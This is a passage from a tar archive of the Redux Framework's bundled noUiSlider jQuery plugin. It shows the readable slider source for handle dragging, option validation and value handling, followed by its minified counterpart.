storeElement( handle, serialization['to'][i][index], i ) ); }); return { element: handle ,elements: elements ,target: handle.data('target') ,'val': serialize }; } // Handle placement // Fire callback on unsuccessful handle movement. function block ( base, stateless ) { var target = base.data('target'); if ( !target.hasClass(clsList[14]) ){ // The visual effects should not always be applied. if ( !stateless ) { target.addClass(clsList[15]); setTimeout(function(){ target.removeClass(clsList[15]); }, 450); } target.addClass(clsList[14]); call( base.data('options').block, target ); } } // Change inline style and apply proper classes. function placeHandle ( handle, to ) { var settings = handle.data('options'); to = digits(to, 7); // If the slider can move, remove the class // indicating the block state. handle.data('target').removeClass(clsList[14]); // Set handle to new location handle.css( settings['style'], to + '%' ).data('pct', to); // Force proper handle stacking if ( handle.is(':first-child') ) { handle.toggleClass(clsList[13], to > 50 ); } if ( settings['direction'] ) { to = 100 - to; } // Write the value to the serialization object. handle.data('store').val( format ( isPercentage( settings['range'], to ), settings ) ); } // Test suggested values and apply margin, step. function setHandle ( handle, to ) { var base = handle.data('base'), settings = base.data('options'), handles = base.data('handles'), lower = 0, upper = 100; // Catch invalid user input if ( !isNumeric( to ) ){ return false; } // Handle the step option. if ( settings['step'] ){ to = closest( to, settings['step'] ); } if ( handles.length > 1 ){ if ( handle[0] !== handles[0][0] ) { lower = digits(handles[0].data('pct')+settings['margin'],7); } else { upper = digits(handles[1].data('pct')-settings['margin'],7); } } // Limit position to boundaries. When the handles aren't set yet, // they return -1 as a percentage value. to = Math.min( Math.max( to, lower ), upper < 0 ? 100 : upper ); // Stop handling this call if the handle can't move past another. // Return an array containing the hit limit, so the caller can // provide feedback. ( block callback ). if ( to === handle.data('pct') ) { return [!lower ? false : lower, upper === 100 ? false : upper]; } placeHandle ( handle, to ); return true; } // Handles movement by tapping function jump ( base, handle, to, callbacks ) { // Flag the slider as it is now in a transitional state. // Transition takes 300 ms, so re-enable the slider afterwards. base.addClass(clsList[5]); setTimeout(function(){ base.removeClass(clsList[5]); }, 300); // Move the handle to the new position. setHandle( handle, to ); // Trigger the 'slide' and 'set' callbacks, // pass the target so that it is 'this'. call( callbacks, base.data('target') ); base.data('target').change(); } // Event handlers // Handle movement on document for handle and range drag. function move ( event, Dt, Op ) { // Map event movement to a slider percentage. var handles = Dt.handles, limits, proposal = event[ Dt.point ] - Dt.start[ Dt.point ]; proposal = ( proposal * 100 ) / Dt.size; if ( handles.length === 1 ) { // Run handle placement, receive true for success or an // array with potential limits. limits = setHandle( handles[0], Dt.positions[0] + proposal ); if ( limits !== true ) { if ( $.inArray ( handles[0].data('pct'), limits ) >= 0 ){ block ( Dt.base, !Op['margin'] ); } return; } } else { // Dragging the range could be implemented by forcing the // 'move' event on both handles, but this solution proved // lagging on slower devices, resulting in range errors. The // slightly ugly solution below is considerably faster, and // it can't move the handle out of sync. Bypass the standard // setting method, as other checks are needed. var l1, u1, l2, u2; // Round the proposal to the step setting. if ( Op['step'] ) { proposal = closest( proposal, Op['step'] ); } // Determine the new position, store it twice. Once for // limiting, once for checking whether placement should occur. l1 = l2 = Dt.positions[0] + proposal; u1 = u2 = Dt.positions[1] + proposal; // Round the values within a sensible range. if ( l1 < 0 ) { u1 += -1 * l1; l1 = 0; } else if ( u1 > 100 ) { l1 -= ( u1 - 100 ); u1 = 100; } // Don't perform placement if no handles are to be changed. // Check if the lowest value is set to zero. if ( l2 < 0 && !l1 && !handles[0].data('pct') ) { return; } // The highest value is limited to 100%. if ( u1 === 100 && u2 > 100 && handles[1].data('pct') === 100 ){ return; } placeHandle ( handles[0], l1 ); placeHandle ( handles[1], u1 ); } // Trigger the 'slide' event, if the handle was moved. call( Op['slide'], Dt.target ); } // Unbind move events on document, call callbacks. function end ( event, Dt, Op ) { // The handle is no longer active, so remove the class. if ( Dt.handles.length === 1 ) { Dt.handles[0].data('grab').removeClass(clsList[4]); } // Remove cursor styles and text-selection events bound to the body. if ( event.cursor ) { body.css('cursor', '').off( namespace ); } // Unbind the move and end events, which are added on 'start'. doc.off( namespace ); // Trigger the change event. Dt.target.removeClass( clsList[14] +' '+ clsList[20]).change(); // Trigger the 'end' callback. call( Op['set'], Dt.target ); } // Bind move events on document. function start ( event, Dt, Op ) { // Mark the handle as 'active' so it can be styled. if( Dt.handles.length === 1 ) { Dt.handles[0].data('grab').addClass(clsList[4]); } // A drag should never propagate up to the 'tap' event. event.stopPropagation(); // Attach the move event. attach ( actions.move, doc, move, { start: event ,base: Dt.base ,target: Dt.target ,handles: Dt.handles ,positions: [ Dt.handles[0].data('pct') ,Dt.handles[ Dt.handles.length - 1 ].data('pct') ] ,point: Op['orientation'] ? 'pointY' : 'pointX' ,size: Op['orientation'] ? Dt.base.height() : Dt.base.width() }); // Unbind all movement when the drag ends. attach ( actions.end, doc, end, { target: Dt.target ,handles: Dt.handles }); // Text selection isn't an issue on touch devices, // so adding additional callbacks isn't required. if ( event.cursor ) { // Prevent the 'I' cursor and extend the range-drag cursor. body.css('cursor', $(event.target).css('cursor')); // Mark the target with a dragging state. if ( Dt.handles.length > 1 ) { Dt.target.addClass(clsList[20]); } // Prevent text selection when dragging the handles. body.on('selectstart' + namespace, function( ){ return false; }); } } // Move closest handle to tapped location. function tap ( event, Dt, Op ) { var base = Dt.base, handle, to, point, size; // The tap event shouldn't propagate up to trigger 'edge'. event.stopPropagation(); // Determine the direction of the slider. if ( Op['orientation'] ) { point = event['pointY']; size = base.height(); } else { point = event['pointX']; size = base.width(); } // Find the closest handle and calculate the tapped point. handle = closestHandle( base.data('handles'), point, Op['style'] ); to = (( point - base.offset()[ Op['style'] ] ) * 100 ) / size; // The set handle to the new position. jump( base, handle, to, [ Op['slide'], Op['set'] ]); } // Move handle to edges when target gets tapped. function edge ( event, Dt, Op ) { var handles = Dt.base.data('handles'), to, i; i = Op['orientation'] ? event['pointY'] : event['pointX']; i = i < Dt.base.offset()[Op['style']]; to = i ? 0 : 100; i = i ? 0 : handles.length - 1; jump ( Dt.base, handles[i], to, [ Op['slide'], Op['set'] ]); } // API // Validate and standardize input. function test ( input, sliders ){ /* Every input option is tested and parsed. This'll prevent endless validation in internal methods. These tests are structured with an item for every option available. An option can be marked as required by setting the 'r' flag. The testing function is provided with three arguments: - The provided value for the option; - A reference to the options object; - The name for the option; The testing function returns false when an error is detected, or true when everything is OK. It can also modify the option object, to make sure all values can be correctly looped elsewhere. */ function values ( a ) { if ( a.length !== 2 ){ return false; } // Convert the array to floats a = [ parseFloat(a[0]), parseFloat(a[1]) ]; // Test if all values are numerical if( !isNumeric(a[0]) || !isNumeric(a[1]) ){ return false; } // The lowest value must really be the lowest value. if( a[1] < a[0] ){ return false; } return a; } var serialization = { resolution: function(q,o){ // Parse the syntactic sugar that is the serialization // resolution option to a usable integer. // Checking for a string '1', since the resolution needs // to be cast to a string to split in on the period. switch( q ){ case 1: case 0.1: case 0.01: case 0.001: case 0.0001: case 0.00001: q = q.toString().split('.'); o['decimals'] = q[0] === '1' ? 0 : q[1].length; break; case undefined: o['decimals'] = 2; break; default: return false; } return true; } ,mark: function(q,o,w){ if ( !q ) { o[w]['mark'] = '.'; return true; } switch( q ){ case '.': case ',': return true; default: return false; } } ,to: function(q,o,w){ // Checks whether a variable is a candidate to be a // valid serialization target. function ser(r){ return isInstance ( r ) || typeof r === 'string' || typeof r === 'function' || r === false || ( isInstance ( r[0] ) && typeof r[0][r[1]] === 'function' ); } // Flatten the serialization array into a reliable // set of elements, which can be tested and looped. function filter ( value ) { var items = [[],[]]; // If a single value is provided it can be pushed // immediately. if ( ser(value) ) { items[0].push(value); } else { // Otherwise, determine whether this is an // array of single elements or sets. $.each(value, function(i, val) { // Don't handle an overflow of elements. if( i > 1 ){ return; } // Decide if this is a group or not if( ser(val) ){ items[i].push(val); } else { items[i] = items[i].concat(val); } }); } return items; } if ( !q ) { o[w]['to'] = [[],[]]; } else { var i, j; // Flatten the serialization array q = filter ( q ); // Reverse the API for RTL sliders. if ( o['direction'] && q[1].length ) { q.reverse(); } // Test all elements in the flattened array. for ( i = 0; i < o['handles']; i++ ) { for ( j = 0; j < q[i].length; j++ ) { // Return false on invalid input if( !ser(q[i][j]) ){ return false; } // Remove 'false' elements, since those // won't be handled anyway. if( !q[i][j] ){ q[i].splice(j, 1); } } } // Write the new values back o[w]['to'] = q; } return true; } }, tests = { /* Handles. * Has default, can be 1 or 2. */ 'handles': { 'r': true ,'t': function(q){ q = parseInt(q, 10); return ( q === 1 || q === 2 ); } } /* Range. * Must be an array of two numerical floats, * which can't be identical. */ ,'range': { 'r': true ,'t': function(q,o,w){ o[w] = values(q); // The values can't be identical. return o[w] && o[w][0] !== o[w][1]; } } /* Start. * Must be an array of two numerical floats when handles = 2; * Uses 'range' test. * When handles = 1, a single float is also allowed. */ ,'start': { 'r': true ,'t': function(q,o,w){ if( o['handles'] === 1 ){ if( $.isArray(q) ){ q = q[0]; } q = parseFloat(q); o.start = [q]; return isNumeric(q); } o[w] = values(q); return !!o[w]; } } /* Connect. * Must be true or false when handles = 2; * Can use 'lower' and 'upper' when handles = 1. */ ,'connect': { 'r': true ,'t': function(q,o,w){ if ( q === 'lower' ) { o[w] = 1; } else if ( q === 'upper' ) { o[w] = 2; } else if ( q === true ) { o[w] = 3; } else if ( q === false ) { o[w] = 0; } else { return false; } return true; } } /* Connect. * Will default to horizontal, not required. */ ,'orientation': { 't': function(q,o,w){ switch (q){ case 'horizontal': o[w] = 0; break; case 'vertical': o[w] = 1; break; default: return false; } return true; } } /* Margin. * Must be a float, has a default value. */ ,'margin': { 'r': true ,'t': function(q,o,w){ q = parseFloat(q); o[w] = fromPercentage(o['range'], q); return isNumeric(q); } } /* Direction. * Required, can be 'ltr' or 'rtl'. */ ,'direction': { 'r': true ,'t': function(q,o,w){ switch ( q ) { case 'ltr': o[w] = 0; break; case 'rtl': o[w] = 1; // Invert connection for RTL sliders; o['connect'] = [0,2,1,3][o['connect']]; break; default: return false; } return true; } } /* Behaviour. * Required, defines responses to tapping and * dragging elements. */ ,'behaviour': { 'r': true ,'t': function(q,o,w){ o[w] = { 'tap': q !== (q = q.replace('tap', '')) ,'extend': q !== (q = q.replace('extend', '')) ,'drag': q !== (q = q.replace('drag', '')) ,'fixed': q !== (q = q.replace('fixed', '')) }; return !q.replace('none','').replace(/\-/g,''); } } /* Serialization. * Required, but has default. Must be an array * when using two handles, can be a single value when using * one handle. 'mark' can be period (.) or comma (,). */ ,'serialization': { 'r': true ,'t': function(q,o,w){ return serialization.to( q['to'], o, w ) && serialization.resolution( q['resolution'], o ) && serialization.mark( q['mark'], o, w ); } } /* Slide. * Not required. Must be a function. */ ,'slide': { 't': function(q){ return $.isFunction(q); } } /* Set. * Not required. Must be a function. * Tested using the 'slide' test. */ ,'set': { 't': function(q){ return $.isFunction(q); } } /* Block. * Not required. Must be a function. * Tested using the 'slide' test. */ ,'block': { 't': function(q){ return $.isFunction(q); } } /* Step. * Not required. */ ,'step': { 't': function(q,o,w){ q = parseFloat(q); o[w] = fromPercentage ( o['range'], q ); return isNumeric(q); } } }; $.each( tests, function( name, test ){ /*jslint devel: true */ var value = input[name], isSet = value !== undefined; // If the value is required but not set, fail. if( ( test['r'] && !isSet ) || // If the test returns false, fail. ( isSet && !test['t']( value, input, name ) ) ){ // For debugging purposes it might be very useful to know // what option caused the trouble. Since throwing an error // will prevent further script execution, log the error // first. Test for console, as it might not be available. if( console && console.log && console.group ){ console.group( 'Invalid noUiSlider initialisation:' ); console.log( 'Option:\t', name ); console.log( 'Value:\t', value ); console.log( 'Slider(s):\t', sliders ); console.groupEnd(); } throw new RangeError('noUiSlider'); } }); } // Parse options, add classes, attach events, create HTML. function create ( options ) { /*jshint validthis: true */ // Store the original set of options on all targets, // so they can be re-used and re-tested later. // Make sure to break the relation with the options, // which will be changed by the 'test' function. this.data('options', $.extend(true, {}, options)); // Set defaults where applicable; options = $.extend({ 'handles': 2 ,'margin': 0 ,'connect': false ,'direction': 'ltr' ,'behaviour': 'tap' ,'orientation': 'horizontal' }, options); // Make sure the test for serialization runs. options['serialization'] = options['serialization'] || {}; // Run all options through a testing mechanism to ensure correct // input. The test function will throw errors, so there is // no need to capture the result of this call. It should be noted // that options might get modified to be handled properly. E.g. // wrapping integers in arrays. test( options, this ); // Pre-define the styles. options['style'] = options['orientation'] ? 'top' : 'left'; return this.each(function(){ var target = $(this), i, dragable, handles = [], handle, base = $('<div/>').appendTo(target); // Throw an error if the slider was already initialized. if ( target.data('base') ) { throw new Error('Slider was already initialized.'); } // Apply classes and data to the target. target.data('base', base).addClass([ clsList[6] ,clsList[16 + options['direction']] ,clsList[10 + options['orientation']] ].join(' ')); for (i = 0; i < options['handles']; i++ ) { handle = $('<div><div/></div>').appendTo(base); // Add all default and option-specific classes to the // origins and handles. handle.addClass( clsList[1] ); handle.children().addClass([ clsList[2] ,clsList[2] + clsList[ 7 + options['direction'] + ( options['direction'] ? -1 * i : i ) ]].join(' ') ); // Make sure every handle has access to all variables. handle.data({ 'base': base ,'target': target ,'options': options ,'grab': handle.children() ,'pct': -1 }).attr('data-style', options['style']); // Every handle has a storage point, which takes care // of triggering the proper serialization callbacks. handle.data({ 'store': store(handle, i, options['serialization']) }); // Store handles on the base handles.push(handle); } // Apply the required connection classes to the elements // that need them. Some classes are made up for several // segments listed in the class list, to allow easy // renaming and provide a minor compression benefit. switch ( options['connect'] ) { case 1: target.addClass( clsList[9] ); handles[0].addClass( clsList[12] ); break; case 3: handles[1].addClass( clsList[12] ); /* falls through */ case 2: handles[0].addClass( clsList[9] ); /* falls through */ case 0: target.addClass(clsList[12]); break; } // Merge base classes with default, // and store relevant data on the base element. base.addClass( clsList[0] ).data({ 'target': target ,'options': options ,'handles': handles }); // Use the public value method to set the start values. target.val( options['start'] ); // Attach the standard drag event to the handles. if ( !options['behaviour']['fixed'] ) { for ( i = 0; i < handles.length; i++ ) { // These events are only bound to the visual handle // element, not the 'real' origin element. attach ( actions.start, handles[i].children(), start, { base: base ,target: target ,handles: [ handles[i] ] }); } } // Attach the tap event to the slider base. if ( options['behaviour']['tap'] ) { attach ( actions.start, base, tap, { base: base ,target: target }); } // Extend tapping behaviour to target if ( options['behaviour']['extend'] ) { target.addClass( clsList[19] ); if ( options['behaviour']['tap'] ) { attach ( actions.start, target, edge, { base: base ,target: target }); } } // Make the range dragable. if ( options['behaviour']['drag'] ){ dragable = base.find('.'+clsList[9]).addClass(clsList[18]); // When the range is fixed, the entire range can // be dragged by the handles. The handle in the first // origin will propagate the start event upward, // but it needs to be bound manually on the other. if ( options['behaviour']['fixed'] ) { dragable = dragable .add( base.children().not(dragable).data('grab') ); } attach ( actions.start, dragable, start, { base: base ,target: target ,handles: handles }); } }); } // Return value for the slider, relative to 'range'. function getValue ( ) { /*jshint validthis: true */ var base = $(this).data('base'), answer = []; // Loop the handles, and get the value from the input // for every handle on its' own. $.each( base.data('handles'), function(){ answer.push( $(this).data('store').val() ); }); // If the slider has just one handle, return a single value. // Otherwise, return an array, which is in reverse order // if the slider is used RTL. if ( answer.length === 1 ) { return answer[0]; } if ( base.data('options').direction ) { return answer.reverse(); } return answer; } // Set value for the slider, relative to 'range'. function setValue ( args, set ) { /*jshint validthis: true */ // If the value is to be set to a number, which is valid // when using a one-handle slider, wrap it in an array. if( !$.isArray(args) ){ args = [args]; } // Setting is handled properly for each slider in the data set. return this.each(function(){ var b = $(this).data('base'), to, i, handles = Array.prototype.slice.call(b.data('handles'),0), settings = b.data('options'); // If there are multiple handles to be set run the setting // mechanism twice for the first handle, to make sure it // can be bounced of the second one properly. if ( handles.length > 1) { handles[2] = handles[0]; } // The RTL settings is implemented by reversing the front-end, // internal mechanisms are the same. if ( settings['direction'] ) { args.reverse(); } for ( i = 0; i < handles.length; i++ ){ // Calculate a new position for the handle. to = args[ i%2 ]; // The set request might want to ignore this handle. // Test for 'undefined' too, as a two-handle slider // can still be set with an integer. if( to === null || to === undefined ) { continue; } // Add support for the comma (,) as a decimal symbol. // Replace it by a period so it is handled properly by // parseFloat. Omitting this would result in a removal // of decimals. This way, the developer can also // input a comma separated string. if( $.type(to) === 'string' ) { to = to.replace(',', '.'); } // Calculate the new handle position to = toPercentage( settings['range'], parseFloat( to ) ); // Invert the value if this is an right-to-left slider. if ( settings['direction'] ) { to = 100 - to; } // If the value of the input doesn't match the slider, // reset it. Sometimes the input is changed to a value the // slider has rejected. This can occur when using 'select' // or 'input[type="number"]' elements. In this case, set // the value back to the input. if ( setHandle( handles[i], to ) !== true ){ handles[i].data('store').val( true ); } // Optionally trigger the 'set' event. if( set === true ) { call( settings['set'], $(this) ); } } }); } // Unbind all attached events, remove classed and HTML. function destroy ( target ) { // Start the list of elements to be unbound with the target. var elements = [[target,'']]; // Get the fields bound to both handles. $.each(target.data('base').data('handles'), function(){ elements = elements.concat( $(this).data('store').elements ); }); // Remove all events added by noUiSlider. $.each(elements, function(){ if( this.length > 1 ){ this[0].off( namespace ); } }); // Remove all classes from the target. target.removeClass(clsList.join(' ')); // Empty the target and remove all data. target.empty().removeData('base options'); } // Merge options with current initialization, destroy slider // and reinitialize. function build ( options ) { /*jshint validthis: true */ return this.each(function(){ // When uninitialised, jQuery will return '', // Zepto returns undefined. Both are falsy. var values = $(this).val() || false, current = $(this).data('options'), // Extend the current setup with the new options. setup = $.extend( {}, current, options ); // If there was a slider initialised, remove it first. if ( values !== false ) { destroy( $(this) ); } // Make the destroy method publicly accessible. if( !options ) { return; } // Create a new slider $(this)['noUiSlider']( setup ); // Set the slider values back. If the start options changed, // it gets precedence. if ( values !== false && setup.start === current.start ) { $(this).val( values ); } }); } // Overwrite the native jQuery value function // with a simple handler. noUiSlider will use the internal // value method, anything else will use the standard method. $.fn.val = function(){ // If the function is called without arguments, // act as a 'getter'. Call the getValue function // in the same scope as this call. if ( this.hasClass( clsList[6] ) ){ return arguments.length ? setValue.apply( this, arguments ) : getValue.apply( this ); } // If this isn't noUiSlider, continue with jQuery's // original method. return $VAL.apply( this, arguments ); }; return ( rebuild ? build : create ).call( this, options ); }; }( window['jQuery'] || window['Zepto'] )); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/slider/vendor/nouislider/redux.jquery.nouislider.min.js������������������0000644�����������������00000024145�14720701300�0024602 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������(function(f){if(f.zepto&&!f.fn.removeData)throw new ReferenceError("Zepto is loaded without the data module.");f.fn.noUiSlider=function(C,D){function s(a,b){return 100*b/(a[1]-a[0])}function E(a,b){return b*(a[1]-a[0])/100+a[0]}function t(a){return a instanceof f||f.zepto&&f.zepto.isZ(a)}function n(a){return!isNaN(parseFloat(a))&&isFinite(a)}function r(a,b){f.isArray(a)||(a=[a]);f.each(a,function(){"function"===typeof this&&this.call(b)})}function F(a,b){return function(){var c=[null,null];c[b]=f(this).val(); a.val(c,!0)}}function G(a,b){a=a.toFixed(b.decimals);0===parseFloat(a)&&(a=a.replace("-0","0"));return a.replace(".",b.serialization.mark)}function u(a){return parseFloat(a.toFixed(7))}function p(a,b,c,d){var e=d.target;a=a.replace(/\s/g,h+" ")+h;b.on(a,function(a){var b=e.attr("disabled");if(e.hasClass("noUi-state-tap")||void 0!==b&&null!==b)return!1;var g;a.preventDefault();var b=0===a.type.indexOf("touch"),h=0===a.type.indexOf("mouse"),l=0===a.type.indexOf("pointer"),v,H=a;0===a.type.indexOf("MSPointer")&& (l=!0);a.originalEvent&&(a=a.originalEvent);b&&(g=a.changedTouches[0].pageX,v=a.changedTouches[0].pageY);if(h||l)l||void 0!==window.pageXOffset||(window.pageXOffset=document.documentElement.scrollLeft,window.pageYOffset=document.documentElement.scrollTop),g=a.clientX+window.pageXOffset,v=a.clientY+window.pageYOffset;g=f.extend(H,{pointX:g,pointY:v,cursor:h});c(g,d,e.data("base").data("options"))})}function I(a){var b=this.target;if(void 0===a)return this.element.data("value");!0===a?a=this.element.data("value"): this.element.data("value",a);void 0!==a&&f.each(this.elements,function(){if("function"===typeof this)this.call(b,a);else this[0][this[1]](a)})}function J(a,b,c){if(t(b)){var d=[],e=a.data("target");a.data("options").direction&&(c=c?0:1);b.each(function(){f(this).on("change"+h,F(e,c));d.push([f(this),"val"])});return d}"string"===typeof b&&(b=[f('<input type="hidden" name="'+b+'">').appendTo(a).addClass(g[3]).change(function(a){a.stopPropagation()}),"val"]);return[b]}function K(a,b,c){var d=[];f.each(c.to[b], function(e){d=d.concat(J(a,c.to[b][e],b))});return{element:a,elements:d,target:a.data("target"),val:I}}function L(a,b){var c=a.data("target");c.hasClass(g[14])||(b||(c.addClass(g[15]),setTimeout(function(){c.removeClass(g[15])},450)),c.addClass(g[14]),r(a.data("options").h,c))}function w(a,b){var c=a.data("options");b=u(b);a.data("target").removeClass(g[14]);a.css(c.style,b+"%").data("pct",b);a.is(":first-child")&&a.toggleClass(g[13],50<b);c.direction&&(b=100-b);a.data("store").val(G(E(c.range,b), c))}function x(a,b){var c=a.data("base"),d=c.data("options"),c=c.data("handles"),e=0,k=100;if(!n(b))return!1;if(d.step){var m=d.step;b=Math.round(b/m)*m}1<c.length&&(a[0]!==c[0][0]?e=u(c[0].data("pct")+d.margin):k=u(c[1].data("pct")-d.margin));b=Math.min(Math.max(b,e),0>k?100:k);if(b===a.data("pct"))return[e?e:!1,100===k?!1:k];w(a,b);return!0}function A(a,b,c,d){a.addClass(g[5]);setTimeout(function(){a.removeClass(g[5])},300);x(b,c);r(d,a.data("target"));a.data("target").change()}function M(a,b,c){var d= b.a,e=a[b.d]-b.start[b.d],e=100*e/b.size;if(1===d.length){if(a=x(d[0],b.c[0]+e),!0!==a){0<=f.inArray(d[0].data("pct"),a)&&L(b.b,!c.margin);return}}else{var k,m;c.step&&(a=c.step,e=Math.round(e/a)*a);a=k=b.c[0]+e;e=m=b.c[1]+e;0>a?(e+=-1*a,a=0):100<e&&(a-=e-100,e=100);if(0>k&&!a&&!d[0].data("pct")||100===e&&100<m&&100===d[1].data("pct"))return;w(d[0],a);w(d[1],e)}r(c.slide,b.target)}function N(a,b,c){1===b.a.length&&b.a[0].data("grab").removeClass(g[4]);a.cursor&&y.css("cursor","").off(h);z.off(h); b.target.removeClass(g[14]+" "+g[20]).change();r(c.set,b.target)}function B(a,b,c){1===b.a.length&&b.a[0].data("grab").addClass(g[4]);a.stopPropagation();p(q.move,z,M,{start:a,b:b.b,target:b.target,a:b.a,c:[b.a[0].data("pct"),b.a[b.a.length-1].data("pct")],d:c.orientation?"pointY":"pointX",size:c.orientation?b.b.height():b.b.width()});p(q.end,z,N,{target:b.target,a:b.a});a.cursor&&(y.css("cursor",f(a.target).css("cursor")),1<b.a.length&&b.target.addClass(g[20]),y.on("selectstart"+h,function(){return!1}))} function O(a,b,c){b=b.b;var d,e;a.stopPropagation();c.orientation?(a=a.pointY,e=b.height()):(a=a.pointX,e=b.width());d=b.data("handles");var k=a,m=c.style;1===d.length?d=d[0]:(m=d[0].offset()[m]+d[1].offset()[m],d=d[k<m/2?0:1]);a=100*(a-b.offset()[c.style])/e;A(b,d,a,[c.slide,c.set])}function P(a,b,c){var d=b.b.data("handles"),e;e=c.orientation?a.pointY:a.pointX;a=(e=e<b.b.offset()[c.style])?0:100;e=e?0:d.length-1;A(b.b,d[e],a,[c.slide,c.set])}function Q(a,b){function c(a){if(2!==a.length)return!1; a=[parseFloat(a[0]),parseFloat(a[1])];return!n(a[0])||!n(a[1])||a[1]<a[0]?!1:a}var d={f:function(a,b){switch(a){case 1:case 0.1:case 0.01:case 0.001:case 1E-4:case 1E-5:a=a.toString().split(".");b.decimals="1"===a[0]?0:a[1].length;break;case void 0:b.decimals=2;break;default:return!1}return!0},e:function(a,b,c){if(!a)return b[c].mark=".",!0;switch(a){case ".":case ",":return!0;default:return!1}},g:function(a,b,c){function d(a){return t(a)||"string"===typeof a||"function"===typeof a||!1===a||t(a[0])&& "function"===typeof a[0][a[1]]}function g(a){var b=[[],[]];d(a)?b[0].push(a):f.each(a,function(a,e){1<a||(d(e)?b[a].push(e):b[a]=b[a].concat(e))});return b}if(a){var l,h;a=g(a);b.direction&&a[1].length&&a.reverse();for(l=0;l<b.handles;l++)for(h=0;h<a[l].length;h++){if(!d(a[l][h]))return!1;a[l][h]||a[l].splice(h,1)}b[c].to=a}else b[c].to=[[],[]];return!0}};f.each({handles:{r:!0,t:function(a){a=parseInt(a,10);return 1===a||2===a}},range:{r:!0,t:function(a,b,d){b[d]=c(a);return b[d]&&b[d][0]!==b[d][1]}}, start:{r:!0,t:function(a,b,d){if(1===b.handles)return f.isArray(a)&&(a=a[0]),a=parseFloat(a),b.start=[a],n(a);b[d]=c(a);return!!b[d]}},connect:{r:!0,t:function(a,b,c){if("lower"===a)b[c]=1;else if("upper"===a)b[c]=2;else if(!0===a)b[c]=3;else if(!1===a)b[c]=0;else return!1;return!0}},orientation:{t:function(a,b,c){switch(a){case "horizontal":b[c]=0;break;case "vertical":b[c]=1;break;default:return!1}return!0}},margin:{r:!0,t:function(a,b,c){a=parseFloat(a);b[c]=s(b.range,a);return n(a)}},direction:{r:!0, t:function(a,b,c){switch(a){case "ltr":b[c]=0;break;case "rtl":b[c]=1;b.connect=[0,2,1,3][b.connect];break;default:return!1}return!0}},behaviour:{r:!0,t:function(a,b,c){b[c]={tap:a!==(a=a.replace("tap","")),extend:a!==(a=a.replace("extend","")),drag:a!==(a=a.replace("drag","")),fixed:a!==(a=a.replace("fixed",""))};return!a.replace("none","").replace(/\-/g,"")}},serialization:{r:!0,t:function(a,b,c){return d.g(a.to,b,c)&&d.f(a.resolution,b)&&d.e(a.mark,b,c)}},slide:{t:function(a){return f.isFunction(a)}}, set:{t:function(a){return f.isFunction(a)}},block:{t:function(a){return f.isFunction(a)}},step:{t:function(a,b,c){a=parseFloat(a);b[c]=s(b.range,a);return n(a)}}},function(c,d){var f=a[c],g=void 0!==f;if(d.r&&!g||g&&!d.t(f,a,c))throw console&&console.log&&console.group&&(console.group("Invalid noUiSlider initialisation:"),console.log("Option:\t",c),console.log("Value:\t",f),console.log("Slider(s):\t",b),console.groupEnd()),new RangeError("noUiSlider");})}function R(a){this.data("options",f.extend(!0, {},a));a=f.extend({handles:2,margin:0,connect:!1,direction:"ltr",behaviour:"tap",orientation:"horizontal"},a);a.serialization=a.serialization||{};Q(a,this);a.style=a.orientation?"top":"left";return this.each(function(){var b=f(this),c,d=[],e,k=f("<div/>").appendTo(b);if(b.data("base"))throw Error("Slider was already initialized.");b.data("base",k).addClass([g[6],g[16+a.direction],g[10+a.orientation]].join(" "));for(c=0;c<a.handles;c++)e=f("<div><div/></div>").appendTo(k),e.addClass(g[1]),e.children().addClass([g[2], g[2]+g[7+a.direction+(a.direction?-1*c:c)]].join(" ")),e.data({base:k,target:b,options:a,grab:e.children(),pct:-1}).attr("data-style",a.style),e.data({store:K(e,c,a.serialization)}),d.push(e);switch(a.connect){case 1:b.addClass(g[9]);d[0].addClass(g[12]);break;case 3:d[1].addClass(g[12]);case 2:d[0].addClass(g[9]);case 0:b.addClass(g[12])}k.addClass(g[0]).data({target:b,options:a,handles:d});b.val(a.start);if(!a.behaviour.fixed)for(c=0;c<d.length;c++)p(q.start,d[c].children(),B,{b:k,target:b,a:[d[c]]}); a.behaviour.tap&&p(q.start,k,O,{b:k,target:b});a.behaviour.extend&&(b.addClass(g[19]),a.behaviour.tap&&p(q.start,b,P,{b:k,target:b}));a.behaviour.drag&&(c=k.find("."+g[9]).addClass(g[18]),a.behaviour.fixed&&(c=c.add(k.children().not(c).data("grab"))),p(q.start,c,B,{b:k,target:b,a:d}))})}function S(){var a=f(this).data("base"),b=[];f.each(a.data("handles"),function(){b.push(f(this).data("store").val())});return 1===b.length?b[0]:a.data("options").direction?b.reverse():b}function T(a,b){f.isArray(a)|| (a=[a]);return this.each(function(){var c=f(this).data("base"),d,e=Array.prototype.slice.call(c.data("handles"),0),g=c.data("options");1<e.length&&(e[2]=e[0]);g.direction&&a.reverse();for(c=0;c<e.length;c++)if(d=a[c%2],null!==d&&void 0!==d){"string"===f.type(d)&&(d=d.replace(",","."));var h=g.range;d=parseFloat(d);d=s(h,0>h[0]?d+Math.abs(h[0]):d-h[0]);g.direction&&(d=100-d);!0!==x(e[c],d)&&e[c].data("store").val(!0);!0===b&&r(g.set,f(this))}})}function U(a){var b=[[a,""]];f.each(a.data("base").data("handles"), function(){b=b.concat(f(this).data("store").elements)});f.each(b,function(){1<this.length&&this[0].off(h)});a.removeClass(g.join(" "));a.empty().removeData("base options")}function V(a){return this.each(function(){var b=f(this).val()||!1,c=f(this).data("options"),d=f.extend({},c,a);!1!==b&&U(f(this));a&&(f(this).noUiSlider(d),!1!==b&&d.start===c.start&&f(this).val(b))})}var z=f(document),y=f("body"),h=".nui",W=f.fn.val,g="noUi-base noUi-origin noUi-handle noUi-input noUi-active noUi-state-tap noUi-target -lower -upper noUi-connect noUi-horizontal noUi-vertical noUi-background noUi-stacking noUi-block noUi-state-blocked noUi-ltr noUi-rtl noUi-dragable noUi-extended noUi-state-drag".split(" "), q=window.navigator.pointerEnabled?{start:"pointerdown",move:"pointermove",end:"pointerup"}:window.navigator.msPointerEnabled?{start:"MSPointerDown",move:"MSPointerMove",end:"MSPointerUp"}:{start:"mousedown touchstart",move:"mousemove touchmove",end:"mouseup touchend"};f.fn.val=function(){return this.hasClass(g[6])?arguments.length?T.apply(this,arguments):S.apply(this):W.apply(this,arguments)};return(D?V:R).call(this,C)}})(window.jQuery||window.Zepto); 